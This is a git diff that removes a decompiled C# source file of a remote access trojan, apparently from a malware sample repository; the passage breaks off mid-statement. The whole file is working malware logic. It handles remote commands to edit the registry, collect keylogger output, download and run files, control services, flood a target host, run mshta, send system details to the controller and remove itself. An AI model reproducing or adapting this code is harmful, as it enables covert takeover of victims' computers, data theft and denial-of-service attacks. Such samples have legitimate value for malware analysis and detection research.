b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/IND.cs deleted file mode 100644 index 09eaa145..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/IND.cs +++ /dev/null @@ -1,2602 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.IND -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.VisualBasic.Devices; -using Microsoft.Win32; -using n.My; -using System; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Net.Sockets; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.ServiceProcess; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace n -{ - [StandardModule] - internal sealed class IND - { - public static string TM = Interaction.Environ("temp") + "\\"; - public static string Y = "^:^"; - public static int LPING; - public static chat Ca = new chat(); - public static bool bz = false; - private const int MOUSEEVENTF_ABSOLUTE = 32768; - private const int MOUSEEVENTF_LEFTDOWN = 2; - private const int MOUSEEVENTF_LEFTUP = 4; - private const int MOUSEEVENTF_MOVE = 1; - private const int MOUSEEVENTF_MIDDLEDOWN = 32; - private const int MOUSEEVENTF_MIDDLEUP = 64; - private const int MOUSEEVENTF_RIGHTDOWN = 8; - private const int MOUSEEVENTF_RIGHTUP = 16; - - public static void inddd(string T) - { - RichTextBox t1 = B.Chat.T1; - t1.Text = t1.Text + B.Chat.nick + " : " + T + "\r\n"; - } - - public static RegistryKey Rk(ref string p, ref bool W) - { - Array Instance = (Array) Strings.Split(p, "\\"); - object Left = NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null); - RegistryKey registryKey; - if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_CLASSES_ROOT", false)) - registryKey = MyProject.Computer.Registry.ClassesRoot.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0); - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_CURRENT_USER", false)) - registryKey = MyProject.Computer.Registry.CurrentUser.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0); - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_LOCAL_MACHINE", false)) - registryKey = MyProject.Computer.Registry.LocalMachine.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0); - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_USERS", false)) - registryKey = MyProject.Computer.Registry.Users.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0); - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_CURRENT_CONFIG", false)) - registryKey = MyProject.Computer.Registry.CurrentConfig.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0); - return registryKey; - } - - public static void ind(byte[] Da) - { - int num1 = 0; - string str1 = Encoding.UTF8.GetString(Da); - int num2; - try - { - Array Instance1 = (Array) Strings.Split(str1, IND.Y); - string Left1 = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 0 - }, (string[]) null).ToString(); - int num3; - if (Operators.CompareString(Left1, "#KON", false) == 0) - B.KON = Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null), (object) "T", false); - else if (Operators.CompareString(Left1, "#RG", false) == 0) - { - num1 = 1; - object Left2 = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null); - if (Operators.ConditionalCompareObjectEqual(Left2, (object) "~", false)) - { - Array Instance2 = Instance1; - object[] objArray1 = new object[1]; - object[] objArray2 = objArray1; - int num4 = 2; - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num4; - objArray2[0] = (object) local1; - object[] Arguments = objArray1; - string str2 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, Arguments, (string[]) null)); - ref string local2 = ref str2; - bool flag = false; - ref bool local3 = ref flag; - RegistryKey registryKey1 = IND.Rk(ref local2, ref local3); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num4, - (object) str2 - }, (string[]) null, true, false); - RegistryKey registryKey2 = registryKey1; - string[] subKeyNames = registryKey2.GetSubKeyNames(); - int index1 = 0; - string Right; - string s; - while (index1 < subKeyNames.Length) - { - string str3 = subKeyNames[index1]; - string str4 = Right; - s = str3 + IND.Y + IND.Y + "Key"; - string str5 = API.ENB(ref s); - string y = IND.Y; - Right = str4 + str5 + y; - checked { ++index1; } - } - string[] valueNames = registryKey2.GetValueNames(); - int index2 = 0; - while (index2 < valueNames.Length) - { - string name = valueNames[index2]; - string str6 = registryKey2.GetValue(name, RuntimeHelpers.GetObjectValue(new object())).ToString(); - if (str6.Length > 200) - str6 = Strings.Mid(str6, 1, 200); - string str7 = Right; - s = name + IND.Y + str6 + IND.Y + "Value"; - string str8 = API.ENB(ref s); - string y = IND.Y; - Right = str7 + str8 + y; - checked { ++index2; } - } - B b = MyProject.Forms.B; - s = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("#RG" + IND.Y + "~" + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null)), (object) IND.Y), (object) Right)); - ref string local4 = ref s; - b.SEND(ref local4); - } - else if (Operators.ConditionalCompareObjectEqual(Left2, (object) "!", false)) - { - Array Instance3 = Instance1; - object[] objArray3 = new object[1]; - object[] objArray4 = objArray3; - int num5 = 2; - // ISSUE: variable of a boxed type - __Boxed local5 = (ValueType) num5; - objArray4[0] = (object) local5; - object[] Arguments = objArray3; - string str9 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance3, Arguments, (string[]) null)); - ref string local6 = ref str9; - bool flag = true; - ref bool local7 = ref flag; - RegistryKey registryKey = IND.Rk(ref local6, ref local7); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num5, - (object) str9 - }, (string[]) null, true, false); - registryKey.SetValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 3 - }, (string[]) null)), RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 4 - }, (string[]) null))); - } - else if (Operators.ConditionalCompareObjectEqual(Left2, (object) "@", false)) - { - Array Instance4 = Instance1; - object[] objArray5 = new object[1]; - object[] objArray6 = objArray5; - int num6 = 2; - // ISSUE: variable of a boxed type - __Boxed local8 = (ValueType) num6; - objArray6[0] = (object) local8; - object[] Arguments = objArray5; - string str10 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance4, Arguments, (string[]) null)); - ref string local9 = ref str10; - bool flag = true; - ref bool local10 = ref flag; - RegistryKey registryKey3 = IND.Rk(ref local9, ref local10); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num6, - (object) str10 - }, (string[]) null, true, false); - RegistryKey registryKey4 = registryKey3; - int num7 = checked (Instance1.Length - 1); - int num8 = 3; - while (num8 <= num7) - { - Array Instance5 = (Array) Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num8 - }, (string[]) null)), "\\"); - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance5, new object[1] - { - (object) 1 - }, (string[]) null), (object) "Key", false)) - registryKey4.DeleteSubKeyTree(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance5, new object[1] - { - (object) 0 - }, (string[]) null))); - else - registryKey4.DeleteValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance5, new object[1] - { - (object) 0 - }, (string[]) null))); - checked { ++num8; } - } - } - else if (Operators.ConditionalCompareObjectEqual(Left2, (object) "#", false)) - { - Array Instance6 = Instance1; - object[] objArray7 = new object[1]; - object[] objArray8 = objArray7; - int num9 = 2; - // ISSUE: variable of a boxed type - __Boxed local11 = (ValueType) num9; - objArray8[0] = (object) local11; - object[] Arguments = objArray7; - string str11 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance6, Arguments, (string[]) null)); - ref string local12 = ref str11; - bool flag = true; - ref bool local13 = ref flag; - RegistryKey registryKey = IND.Rk(ref local12, ref local13); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num9, - (object) str11 - }, (string[]) null, true, false); - registryKey.CreateSubKey(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 3 - }, (string[]) null))); - } - } - else if (Operators.CompareString(Left1, "#k", false) == 0) - { - num1 = 1; - string str12 = "lg"; - ref string local14 = ref str12; - string str13 = ".."; - ref string local15 = ref str13; - string s = NK.GetValue(ref local14, ref local15); - B b = MyProject.Forms.B; - string str14 = "#k" + IND.Y + API.ENB(ref s); - ref string local16 = ref str14; - b.SEND(ref local16); - } - else if (Operators.CompareString(Left1, "#X", false) == 0) - { - num1 = 0; - int offset = checked (8 + NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - unchecked ((object) 1) - }, (string[]) null).ToString().Length); - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(Da, offset, checked (Da.Length - offset)); - byte[] array = memoryStream.ToArray(); - bool flag = false; - ref bool local = ref flag; - byte[] bytes = API.ZIP(array, ref local); - int num10 = 0; - do - { - if (File.Exists(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num10) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))))) - { - try - { - File.Delete(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num10) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)))); - File.WriteAllBytes(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num10) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))), bytes); - NewLateBinding.LateCall((object) null, typeof (Process), "Start", new object[1] - { - Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num10) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)) - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); - break; - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - checked { ++num10; } - } - else - { - File.WriteAllBytes(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num10) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))), bytes); - NewLateBinding.LateCall((object) null, typeof (Process), "Start", new object[1] - { - Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num10) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)) - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); - break; - } - } - while (num10 <= 999); - } - else if (Operators.CompareString(Left1, "##", false) == 0) - { - num1 = 5; - MyProject.Computer.Registry.CurrentUser.SetValue(B.plg, RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - B b = MyProject.Forms.B; - string str15 = "plugin"; - ref string local = ref str15; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#Rec", false) != 0) - { - if (Operators.CompareString(Left1, "#ser0", false) == 0) - { - num1 = 1; - ServiceController[] services = ServiceController.GetServices(); - int index = 0; - string str16; - string s; - while (index < services.Length) - { - ServiceController serviceController = services[index]; - string str17 = str16; - string y = IND.Y; - s = serviceController.ServiceName + "{}" + Strings.Replace(Strings.Replace(Conversions.ToString(serviceController.CanStop), Conversions.ToString(true), "Yes"), Conversions.ToString(false), "No") + "{}" + serviceController.Status.ToString() + "{}" + serviceController.DisplayName; - string str18 = API.ENB(ref s); - str16 = str17 + y + str18; - checked { ++index; } - } - B b = MyProject.Forms.B; - s = "#ser0" + str16; - ref string local = ref s; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#ser1", false) == 0) - { - num1 = 1; - ServiceController[] services = ServiceController.GetServices(); - int index = 0; - while (index < services.Length) - { - ServiceController serviceController = services[index]; - if (Operators.ConditionalCompareObjectEqual((object) serviceController.ServiceName, NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null), false)) - serviceController.Start(); - checked { ++index; } - } - } - else if (Operators.CompareString(Left1, "#ser2", false) == 0) - { - num1 = 1; - ServiceController[] services = ServiceController.GetServices(); - int index = 0; - while (index < services.Length) - { - ServiceController serviceController = services[index]; - if (Operators.ConditionalCompareObjectEqual((object) serviceController.ServiceName, NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null), false)) - serviceController.Stop(); - checked { ++index; } - } - } - else if (Operators.CompareString(Left1, "#R", false) == 0) - { - num1 = 0; - string str19 = "vname"; - ref string local17 = ref str19; - Array Instance7 = Instance1; - object[] objArray9 = new object[1]; - object[] objArray10 = objArray9; - int num11 = 1; - // ISSUE: variable of a boxed type - __Boxed local18 = (ValueType) num11; - objArray10[0] = (object) local18; - object[] Arguments = objArray9; - string str20 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance7, Arguments, (string[]) null)); - ref string local19 = ref str20; - NK.SetValue(ref local17, ref local19); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num11, - (object) str20 - }, (string[]) null, true, false); - B.Vname = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)); - B b = MyProject.Forms.B; - string str21 = "#R" + IND.Y + B.Vname; - ref string local20 = ref str21; - b.SEND(ref local20); - } - else if (Operators.CompareString(Left1, "p", false) == 0) - { - B b = MyProject.Forms.B; - string str22 = "p"; - ref string local = ref str22; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#0", false) == 0) - { - num1 = 0; - B b1 = MyProject.Forms.B; - string str23 = "#red"; - ref string local21 = ref str23; - b1.SEND(ref local21); - FLD fld1 = new FLD(); - FLD fld2 = fld1; - Array Instance8 = Instance1; - object[] objArray11 = new object[1]; - object[] objArray12 = objArray11; - int num12 = 1; - // ISSUE: variable of a boxed type - __Boxed local22 = (ValueType) num12; - objArray12[0] = (object) local22; - object[] Arguments1 = objArray11; - string s1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance8, Arguments1, (string[]) null)); - string Expression1 = API.DEB(ref s1); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num12, - (object) s1 - }, (string[]) null, true, false); - string y1 = IND.Y; - string str24 = Strings.Split(Expression1, y1)[0]; - fld2.HOST = str24; - FLD fld3 = fld1; - Array Instance9 = Instance1; - object[] objArray13 = new object[1]; - object[] objArray14 = objArray13; - int num13 = 1; - // ISSUE: variable of a boxed type - __Boxed local23 = (ValueType) num13; - objArray14[0] = (object) local23; - object[] Arguments2 = objArray13; - string s2 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance9, Arguments2, (string[]) null)); - string Expression2 = API.DEB(ref s2); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num13, - (object) s2 - }, (string[]) null, true, false); - string y2 = IND.Y; - int integer1 = Conversions.ToInteger(Strings.Split(Expression2, y2)[1]); - fld3.Port = integer1; - fld1.pk = new byte[1001]; - FLD fld4 = fld1; - Array Instance10 = Instance1; - object[] objArray15 = new object[1]; - object[] objArray16 = objArray15; - int num14 = 1; - // ISSUE: variable of a boxed type - __Boxed local24 = (ValueType) num14; - objArray16[0] = (object) local24; - object[] Arguments3 = objArray15; - string s3 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance10, Arguments3, (string[]) null)); - string Expression3 = API.DEB(ref s3); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num14, - (object) s3 - }, (string[]) null, true, false); - string y3 = IND.Y; - int integer2 = Conversions.ToInteger(Strings.Split(Expression3, y3)[2]); - fld4.Count = integer2; - FLD fld5 = fld1; - bool flag = false; - ref bool local25 = ref flag; - fld5.Start(ref local25); - B b2 = MyProject.Forms.B; - string str25 = "#Bla"; - ref string local26 = ref str25; - b2.SEND(ref local26); - } - else if (Operators.CompareString(Left1, "#1", false) == 0) - { - num1 = 0; - B b3 = MyProject.Forms.B; - string str26 = "#red"; - ref string local27 = ref str26; - b3.SEND(ref local27); - FLD fld6 = new FLD(); - FLD fld7 = fld6; - Array Instance11 = Instance1; - object[] objArray17 = new object[1]; - object[] objArray18 = objArray17; - int num15 = 1; - // ISSUE: variable of a boxed type - __Boxed local28 = (ValueType) num15; - objArray18[0] = (object) local28; - object[] Arguments4 = objArray17; - string s4 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance11, Arguments4, (string[]) null)); - string Expression4 = API.DEB(ref s4); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num15, - (object) s4 - }, (string[]) null, true, false); - string y4 = IND.Y; - string str27 = Strings.Split(Expression4, y4)[0]; - fld7.HOST = str27; - FLD fld8 = fld6; - Array Instance12 = Instance1; - object[] objArray19 = new object[1]; - object[] objArray20 = objArray19; - int num16 = 1; - // ISSUE: variable of a boxed type - __Boxed local29 = (ValueType) num16; - objArray20[0] = (object) local29; - object[] Arguments5 = objArray19; - string s5 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance12, Arguments5, (string[]) null)); - string Expression5 = API.DEB(ref s5); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num16, - (object) s5 - }, (string[]) null, true, false); - string y5 = IND.Y; - int integer3 = Conversions.ToInteger(Strings.Split(Expression5, y5)[1]); - fld8.Port = integer3; - fld6.pk = new byte[1001]; - FLD fld9 = fld6; - Array Instance13 = Instance1; - object[] objArray21 = new object[1]; - object[] objArray22 = objArray21; - int num17 = 1; - // ISSUE: variable of a boxed type - __Boxed local30 = (ValueType) num17; - objArray22[0] = (object) local30; - object[] Arguments6 = objArray21; - string s6 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance13, Arguments6, (string[]) null)); - string Expression6 = API.DEB(ref s6); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num17, - (object) s6 - }, (string[]) null, true, false); - string y6 = IND.Y; - int integer4 = Conversions.ToInteger(Strings.Split(Expression6, y6)[2]); - fld9.Count = integer4; - FLD fld10 = fld6; - bool flag = true; - ref bool local31 = ref flag; - fld10.Start(ref local31); - B b4 = MyProject.Forms.B; - string str28 = "#Bla"; - ref string local32 = ref str28; - b4.SEND(ref local32); - } - else if (Operators.CompareString(Left1, "#2", false) == 0) - { - num1 = 0; - string str29 = "." + Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)), ".")[checked (Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - unchecked ((object) 1) - }, (string[]) null)), ".").Length - 1)]; - int num18 = 0; - while (File.Exists(Interaction.Environ("appdata") + "\\" + Conversions.ToString(num18) + str29)) - { - try - { - File.Delete(Interaction.Environ("appdata") + "\\" + Conversions.ToString(num18) + str29); - int num19; - checked { ++num19; } - if (num19 <= 5) - continue; - goto label_300; - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - checked { ++num18; } - if (num18 > 9999) - goto label_300; - } - string fileName = Interaction.Environ("appdata") + "\\" + Conversions.ToString(num18) + str29; - Network network = MyProject.Computer.Network; - object[] objArray23 = new object[2]; - object[] objArray24 = objArray23; - Array Instance14 = Instance1; - object[] objArray25 = new object[1]; - object[] objArray26 = objArray25; - int num20 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num20; - objArray26[0] = (object) local; - object[] Arguments7 = objArray25; - object objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance14, Arguments7, (string[]) null)); - objArray24[0] = objectValue; - objArray23[1] = (object) fileName; - object[] objArray27 = objArray23; - object[] Arguments8 = objArray27; - bool[] flagArray = new bool[2]{ true, true }; - bool[] CopyBack = flagArray; - NewLateBinding.LateCall((object) network, (System.Type) null, "DownloadFile", Arguments8, (string[]) null, (System.Type[]) null, CopyBack, true); - if (flagArray[0]) - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num20, - RuntimeHelpers.GetObjectValue(objArray27[0]) - }, (string[]) null, true, false); - if (flagArray[1]) - fileName = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray27[1]), typeof (string)); - Process.Start(fileName); - } - else if (Operators.CompareString(Left1, "#3", false) == 0) - { - num1 = 0; - MemoryStream memoryStream = new MemoryStream(); - byte[] bytes1 = Encoding.Default.GetBytes("#4" + IND.Y); - memoryStream.Write(bytes1, 0, bytes1.Length); - Encoding encoding = Encoding.Default; - ref byte[] local33 = ref C.Plug; - string str30 = "plugin.C"; - ref string local34 = ref str30; - string str31 = "Pass"; - ref string local35 = ref str31; - object obj = (object) null; - ref object local36 = ref obj; - string s7 = Conversions.ToString(C.inv(ref local33, ref local34, ref local35, ref local36)); - string s8 = API.ENB(ref s7); - byte[] bytes2 = encoding.GetBytes(s8); - bool flag = true; - ref bool local37 = ref flag; - byte[] buffer = API.ZIP(bytes2, ref local37); - memoryStream.Write(buffer, 0, buffer.Length); - MyProject.Forms.B.WC.SendData(memoryStream.ToArray()); - } - else if (Operators.CompareString(Left1, "#4", false) == 0) - { - num1 = 0; - try - { - MyProject.Forms.B.BW.B.Dispose(); - A.fj.Dispose(); - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - if (B.UU) - { - try - { - Process[] processesByName = Process.GetProcessesByName("wscript"); - int index = 0; - while (index < processesByName.Length) - { - Process process = processesByName[index]; - try - { - process.Kill(); - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - checked { ++index; } - } - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null), (object) "!", false)) - { - NK.CLEAR(); - try - { - DriveInfo[] drives = DriveInfo.GetDrives(); - int index = 0; - while (index < drives.Length) - { - DriveInfo driveInfo = drives[index]; - if (driveInfo.IsReady) - { - if (driveInfo.TotalFreeSpace > 0L) - { - try - { - if (File.Exists(driveInfo.Name + B.Uo)) - File.Delete(driveInfo.Name + B.Uo); - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - } - checked { ++index; } - } - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - try - { - string path = Application.StartupPath + "\\j.vbs"; - string w = n.My.Resources.Resources.W; - string contents = API.DEB(ref w).Replace("NJ", Application.ExecutablePath); - File.WriteAllText(path, contents); - Process.Start(Application.StartupPath + "\\j.vbs"); - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - ProjectData.EndApp(); - } - else if (Operators.CompareString(Left1, "#5", false) == 0) - { - num1 = 0; - Process process = Process.Start(new ProcessStartInfo() - { - FileName = "mshta.exe", - Arguments = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)), - CreateNoWindow = true, - WindowStyle = ProcessWindowStyle.Hidden - }); - Thread.Sleep(60000); - try - { - process.Kill(); - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - else if (Operators.CompareString(Left1, "#6", false) == 0) - { - num1 = 0; - try - { - MyProject.Forms.B.BW.B.Dispose(); - if (A.fj.Id > 1) - A.fj.Kill(); - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - Process.Start(Application.ExecutablePath); - ProjectData.EndApp(); - } - else if (Operators.CompareString(Left1, "#7", false) == 0) - { - num1 = 2; - Array Instance15 = Instance1; - object[] objArray28 = new object[1]; - object[] objArray29 = objArray28; - int num21 = 1; - // ISSUE: variable of a boxed type - __Boxed local38 = (ValueType) num21; - objArray29[0] = (object) local38; - object[] Arguments = objArray28; - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance15, Arguments, (string[]) null)); - byte[] numArray = sc.gc(ref integer); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num21, - (object) integer - }, (string[]) null, true, false); - byte[] buffer = numArray; - if (buffer.Length == 0) - { - B b = MyProject.Forms.B; - string str32 = "#5" + IND.Y + Conversions.ToString(0); - ref string local39 = ref str32; - b.SEND(ref local39); - } - else - { - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(Encoding.Default.GetBytes("#6" + IND.Y), 0, checked (IND.Y.Length + 2)); - memoryStream.Write(buffer, 0, buffer.Length); - MyProject.Forms.B.WC.SendData(memoryStream.ToArray()); - } - } - else if (Operators.CompareString(Left1, "#8", false) == 0) - { - string Right = "\r\n"; - string str33; - string s = Conversions.ToString(Operators.AddObject((object) (str33 + "pC InfoX*X==" + Right + "PC\\UserX*X" + B.PC + Right + "CountryX*X" + API.Gc() + Right + "OSX*X" + MyProject.Computer.Info.OSFullName.Replace("Windows", "").Replace(" ", " ").Replace("Microsoft", "").Replace("®", "").Replace("™", "") + Right), Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) "ProcessorX*X", MyProject.Computer.Registry.LocalMachine.OpenSubKey("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0").GetValue("~mhz")), (object) " *"), (object) Environment.ProcessorCount), (object) "~MHZ"), (object) Right))) + "RAMX*X" + Strings.Format((object) ((double) MyProject.Computer.Info.TotalPhysicalMemory / 1073741824.0), "#0.00 GB") + Right + "UpTimeX*X" + Strings.Split(Strings.Mid(Conversions.ToString((double) Environment.TickCount / 3600000.0), 1, 5), ".")[0] + " :Hours" + Right + "Server InfoX*X==" + Right + "ServerX*X" + API.DEB(ref B.Vname) + "_" + sc.HWD() + Right + "Host:PortX*X" + B.no + Right + "DirectoryX*X" + Application.StartupPath + Right + "ExeNameX*X" + AppDomain.CurrentDomain.FriendlyName + Right + "Process IDX*X" + Conversions.ToString(Process.GetCurrentProcess().Id) + Right + "StartupX*X" + B.SU + Right + "PersistantX*X" + Conversions.ToString(B.UU) + Right + "SpreadX*X" + B.spread + Right + "MutexX*X" + B.mU + Right + "First RunX*X" + B.FR + Right + "RegKeyX*X" + NK.Key + Right + "Firewall BypassX*X" + Strings.Replace(B.Fw.ToString(), "True", "Yes").Replace("False", "No"); - B b = MyProject.Forms.B; - string str34 = "#7" + IND.Y + API.ENB(ref s); - ref string local = ref str34; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#9", false) == 0) - { - num1 = 6; - string str35; - try - { - DriveInfo[] drives = DriveInfo.GetDrives(); - int index = 0; - while (index < drives.Length) - { - DriveInfo driveInfo = drives[index]; - try - { - if (driveInfo.IsReady) - { - string str36 = str35; - string y = IND.Y; - string s = driveInfo.Name + IND.Y + driveInfo.DriveType.ToString(); - string str37 = API.ENB(ref s); - str35 = str36 + y + str37; - } - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - checked { ++index; } - } - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - string[] strArray1 = "UserProfile.Public.ProgramFiles.ProgramData.AppData.LocalAppData.WinDir.Temp".Split('.'); - string str38 = str35; - string y7 = IND.Y; - string s9 = "Desktop" + IND.Y + "DIR" + IND.Y + MyProject.Computer.FileSystem.SpecialDirectories.Desktop; - string str39 = API.ENB(ref s9); - string str40 = str38 + y7 + str39; - string[] strArray2 = strArray1; - int index3 = 0; - while (index3 < strArray2.Length) - { - string Expression = strArray2[index3]; - try - { - string str41 = 